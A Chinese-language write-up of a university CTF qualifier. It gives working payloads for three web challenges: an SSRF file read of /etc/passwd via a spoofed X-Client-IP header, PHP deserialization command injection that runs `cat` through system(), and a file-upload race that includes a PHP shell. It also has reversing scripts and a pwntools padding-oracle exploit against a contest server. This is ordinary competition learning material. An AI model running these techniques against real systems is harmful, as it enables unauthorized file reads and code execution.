第四届上海市大学生网络安全大赛线上初赛 WriteUp
比赛入口地址:https://race.ichunqiu.com/dhb
随便玩玩。总共 15 道,解出 8 道,排名第 15。
Misc - 签到
MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q
Base32 解码
Flag:flag{35222d30-439e-4afb-91f4-abebc73fe05c}
Web - web 1
打开题目提示访问 robots.txt
<!-- you need to visit to robots.txt -->
两个文件,一个 source.php ,一个 flag.php
打开 source.php,提示 POST admin
<!-- post param 'admin' -->
POST admin=1
only 127.0.0.1 can get the flag!
没有找到 SSRF 的地方,应该就是改 Headers 头了
X-Forwarded-For
/ X-Client-IP
/ X-Real-IP
三个都试了一下,发现认的是 X-Client-IP
带 Header X-Client-IP=127.0.0.1
,提示
you need post url: http://www.ichunqiu.com"
POST url=http://www.ichunqiu.com/robots.txt
,得到一个地址
<img src="download/26052982;img1.jpg"/>
POST url=file://www.ichunqiu.com/../etc/passwd
成功读到了用户表,并且得到
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
估计 flag.php 就放在默认的位置
POST url=file://www.ichunqiu.com/../var/www/html/flag.php
,得到 flag
Payload:
POST /source.php HTTP/1.1
X-Client-IP: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
admin=1&url=file://www.ichunqiu.com/../var/www/html/flag.php
Flag:flag{c0aea182-82bd-4b1d-ac52-164793598ec9}
Web - web 2
有一个 vim 的备份文件,可以拿到题目的源代码
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
看到 come 类的 system
命令基本的推测就是做反序列化了。
主程序先检查四个变量是否为特定的变量。
$first
可以直接从 $_GET
中定义为 doller
通过第一个检查
然后可以看到 parse_str
函数,没有传第二个参数,因此会污染变量域,所以我们剩下的三个变量都可以通过他来写入
/?first=doller&a=var=give%26bbb=me%26ccc=flag
接下来是反序列化,在 __wakeup
的时候会将参数过一遍 waf
,然后 flag
可以通过双写来绕过字符串替换,空格用 ${IPS}
然过
生成代码如下:
$foo = new come("echo", array("`cat\${IFS}/flaflagg`"));
var_dump(serialize($foo));
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"`cat${IFS}/flaflagg`";}}
然后通过 POST 的参数 come
代入即可执行得到 flag
Web - web 3
<?php
$dir=md5("icq"); // 2765d621af8a58b78b4d528bd5ef7f6b
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
$filename
可以取 POST 中的参数也可以取文件名,我们当然要用 POST 中的参数,毕竟可利用性比较好,而且还可以传入数组。
然后可以看到他通过 explode
函数以 .
将 $filename
拆成一个数组。
然后要求 end($filename)
不等于 $filename[count($filename) - 1]
我们可以构造这样一个数组
array(2) {
[1]=>
string(1) "1"
[0]=>
string(3) "php"
}
这样的话
end($filename) = php
$filename[count($filename) - 1] = 1
这也是我上面用 POST 传 filename 的原因
------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No
Content-Disposition: form-data; name="file[1]"
1
------WebKitFormBoundaryY8aJ6Zd3ZcnMT3No
Content-Disposition: form-data; name="file[0]"
php
然后就是重点了
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'], $new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
首先将我们上传的文件重命名为 [100-999].php
并存放在目录 /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/
里
然后接受我们通过 POST 传入的 hehe
参数,并且通过 file
函数读取这个文件
经过测试,目标开启了 allow_url_fopen
但没有开启 allow_url_include
,因此我们不能直接 include 远程的文件,入手点还是在我们上传的那个文件里
由于他开启了 allow_url_fopen
,因此如果传入 hehe
的地址返回需要很久的话,那样我们就有机会在 unlink
之前读取到我们的文件
因此我新建了个文件放在服务器上
<?php
sleep(9999);
然后通过 Burpsuite 的 Repeater ,上传这个文件
@<?php
system("cat /flag");
同时将 hehe
指向那个需要很久的地址
然后通过 Burpsuite 的 Intruder ,
遍历 include /var/sandbox/2765d621af8a58b78b4d528bd5ef7f6b/§§.php
一切顺利的话就可以成功的读到 flag 了
Reverse - cpp
拖进 IDA 看,重点是两个函数,逆向第一个函数,可以得到 fake flag 2333
所以,关键是逆向第二个函数,算法都很简单
POC:
t2=[0x99, 0xB0, 0x87, 0x9E, 0x70, 0xE8, 0x41, 0x44, 0x05, 0x04, 0x8B, 0x9A, 0x74, 0xBC, 0x55, 0x58, 0xB5, 0x61, 0x8E, 0x36, 0xAC, 0x09, 0x59, 0xE5, 0x61, 0xDD, 0x3E, 0x3F, 0xB9, 0x15, 0xED, 0xD5]
t3='\x99'
for j in range(1,32):
match=0
for i in range(256):
tmp2=t3+chr(i)+'\x00'*(32-j-1)
tmp2=list(tmp2)
for a in range(4):
for b in range(1,32):
tmp1=ord(tmp2[b-1])|ord(tmp2[b])
tmp=tmp1&(~(ord(tmp2[b-1])&ord(tmp2[b]))&0xff)
tmp2[b]=chr(tmp)
if ord(tmp2[j])==t2[j]:
t3+=chr(i)
match=1
break
if match==0:
print 'something wrong'
print j
exit()
t4=[]
t5=[]
for i in t3:
t5.append(ord(i))
for j in range(len(t5)):
match=0
for i in range(0x20,0x7f):
tmp=(((i>>6)|(4*i))^j)&0xff
if tmp==t5[j]:
print hex(((0x20>>6)|(4*0x20))^0), hex(((i>>6)|(4*i))^j),
print ''
t4.append(i)
match=1
break
if match==0:
print 'something wrong'
print j
exit()
print t4
flag=''
for i in t4:
flag+=chr(i)
print flag
Flag:flag{W0w_y0u_m4st3r_C_p1us_p1us}
Misc - easy_py
直接 uncompyle2 反编译 easy_py.pyc
会报错 tuple index out of range
应该是 const 元组越界了,将 easy_py.pyc
文件里的16进制 2333
改为 0000
然后用下面的脚本反编译
import dis, marshal, struct, sys, time, types
def show_file(fname):
f = open(fname, "rb")
magic = f.read(4)
moddate = f.read(4)
modtime = time.asctime(time.localtime(struct.unpack('L', moddate)[0]))
print "magic %s" % (magic.encode('hex'))
print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
code = marshal.load(f)
show_code(code)
def show_code(code, indent=''):
print "%scode" % indent
indent += ' '
print "%sargcount %d" % (indent, code.co_argcount)
print "%snlocals %d" % (indent, code.co_nlocals)
print "%sstacksize %d" % (indent, code.co_stacksize)
print "%sflags %04x" % (indent, code.co_flags)
show_hex("code", code.co_code, indent=indent)
dis.disassemble(code)
print "%sconsts" % indent
for const in code.co_consts:
if type(const) == types.CodeType:
show_code(const, indent+' ')
else:
print " %s%r" % (indent, const)
print "%snames %r" % (indent, code.co_names)
print "%svarnames %r" % (indent, code.co_varnames)
print "%sfreevars %r" % (indent, code.co_freevars)
print "%scellvars %r" % (indent, code.co_cellvars)
print "%sfilename %r" % (indent, code.co_filename)
print "%sname %r" % (indent, code.co_name)
print "%sfirstlineno %d" % (indent, code.co_firstlineno)
show_hex("lnotab", code.co_lnotab, indent=indent)
def show_hex(label, h, indent):
h = h.encode('hex')
if len(h) < 60:
print "%s%s %s" % (indent, label, h)
else:
print "%s%s" % (indent, label)
for i in range(0, len(h), 60):
print "%s %s" % (indent, h[i:i+60])
show_file('easy_py.pyc')
根据反编译结果,对照 Python opcode 文档 ,可以写出解密脚本:
flag=[0,10,7,1,29,14,7,22,22,31,57,30,9,52,27]
rflag=''
for j in flag:
for i in range(0x20,0x7f):
tmp=((~i)&(102))|((i)&(-103))
if tmp==j:
rflag+=chr(i)
print chr(i),
print rflag
Flag:flag{happy_xoR}
Reverse - What's_it
照样拖进 IDA,这题也很简单
小写英文字母进行组合,长度为 6,计算 md5,满足条件,进行动态解密 check
函数
写个脚本把所有可能跑出来,最后只得到一个结果
import string
from itertools import permutations
from hashlib import md5
table=string.ascii_lowercase
match=''
j=0
for res in permutations(table,6):
j+=1
if j % 100000==0: print float(j)*100/308915776
proof=''.join(res)
tmp=md5(proof).hexdigest()
a1=0
a2=0
for i in range(len(tmp)):
if tmp[i]=='0':
a1+=1
a2+=i
if 10*a1+a2==403:
match+=proof+'\n'
print proof
print match
运行得到结果:ozulmt
ozulmt
的 md5 值有两个用途,一是上面提到的动态解密,二是作为 check
函数的参数。
动态调试,看一下那个 check
函数的代码,然后上 F5 插件方便看
传入参数给了 srand 置随机数种子
然后32次 rand%16
取 0-f
构成 flag
写个脚本计算 srand 的参数:
tmp=md5('ozulmt').hexdigest()
print 'v5: %s' % tmp[:4]
print 'v4: %s' % tmp[28:32]
srand=0
for i in tmp[:4]:
srand+=ord(i)
print srand
运行得到结果:300
在 windows 下编译下面的程序:
int main(){
srand(300);
int i;
for (i=0;i<32;i++){
int tmp=rand()%16;
if (tmp<=9)
printf("%c",0x30+tmp);
else
printf("%c",0x61+(tmp-10));
}
}
运行得到结果:a197b847709253a47c41bc7d6d52e69d
补全格式,验证一下
Flag:flag{a197b847-7092-53a4-7c41-bc7d6d52e69d}
Crypto - aessss
好像是 2018 红帽杯 rsa system
原题(也可能稍微改了一下)
上次没做出来,这次自己做出来了
漏洞点在 unpad
的时候,选择最后一字节作为截取长度
直接贴POC:
from pwn import *
from hashlib import sha256
from itertools import permutations
import string
io=''
def new():
global io
io=remote('106.75.13.64', 54321)
table=string.ascii_letters+string.digits
tmp=io.recvline()
known=tmp.split('XXXX+')[1].split(')')[0]
target=tmp.split(' == ')[1].split('\n')[0]
match=''
for res in permutations(table,4):
proof=''.join(res)
proof+=known
if sha256(proof).hexdigest()==target:
match=''.join(res)
break
if match:
io.sendline(match)
return True
else:
io.close()
return False
right_flag='0x3478e3196c4a6a29b244380ef7cabe1030d103f3c3df019fb4ed207b849d0b6d5da5d3bf89f7ca65707c19591413de7dccddd498b8a8ab5fbae70e9ec17fdfc132a2fb63e0968d737b9839c0f7686de07251a1de0264d0ecad05749ad0d13a2c094da4a09837207c284e3ddfce2323c01ea0304e3362e06d191413fd3576657f072f823e07cf1c77ce453c4823c9d827545247254c8fedbe3c400567ca40eb047e1a7dba3962230b4cd0acc58d4b112690549f40c3553e34c38a1c2898a5eb5b33049d0032de35654639eb953b03464209809abecc70f0142f81fcf06298546ee58387795e9d59aa86a60e3a43a8d8f326f8a1e6ae9920291de72c638a9203fa'
flag=''
new()
for i in range(33):
match_flag=0
for j in string.digits+string.ascii_letters+'{}-_/+=,.':
print hex(ord(j)),
run=1
while run:
try:
io.sendlineafter('choice:','2')
payload='a'*(256-33-1)+chr(256-33+i+1)
io.sendlineafter('something:',payload)
io.sendlineafter('choice:','2')
payload=j+flag+chr(256-33)*(256-33)
io.sendlineafter('something:',payload)
io.sendlineafter('choice:','1')
if right_flag in io.recvline():
flag=j+flag
match_flag=1
run=0
except:
print 'except, do poc'
io.close()
new()
if match_flag: break
if match_flag==0:
print 'something wrong'
exit()
else:
print flag
Flag:flag{H4ve_fun_w1th_p4d_and_unp4d}
Comments